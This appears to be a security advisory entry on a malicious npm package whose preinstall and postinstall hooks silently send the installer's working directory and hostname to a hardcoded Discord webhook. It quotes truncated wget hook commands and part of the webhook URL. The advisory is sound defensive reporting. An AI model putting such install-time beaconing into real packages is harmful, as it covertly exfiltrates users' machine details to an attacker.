GCVE-110-OSM-2026-12107

package.json declares preinstall and postinstall lifecycle hooks that use wget to POST installer host identifiers to a hardcoded Discord webhook at https://discord.com/api/webhooks/1413937656697720862/. The preinstall hook sends the installer's current working directory ($(pwd)) and the postinstall hook sends the machine hostname ($(hostname)). Both fire automatically during `npm install` with no user interaction. The package ships no other functionality; its sole behavior is host reconnaissance beaconing to an attacker-controlled Discord webhook. ENTRY - Preinstall Script in package.json: ""preinstall": "wget --quiet --header='Content-Type: application/json' --post-dat..." - Postinstall Script in package.json: ""postinstall": "wget --quiet --header='Content-Type: application/json' --post-da..." DESTINATION - 1 exfil (discord-webhook) (values recorded in verified_iocs) EXFIL - Webhook Data Exfiltration in package.json: "discord.com/api/webhooks/1413937656697720862/rU1d2bB96KG-VrhF5qfz2Pes-Mz3cvvxYgp..." ADDITIONAL FINDINGS - Brand New Package - Very New NPM Publisher Account - Publisher Shows Burner-Account Pattern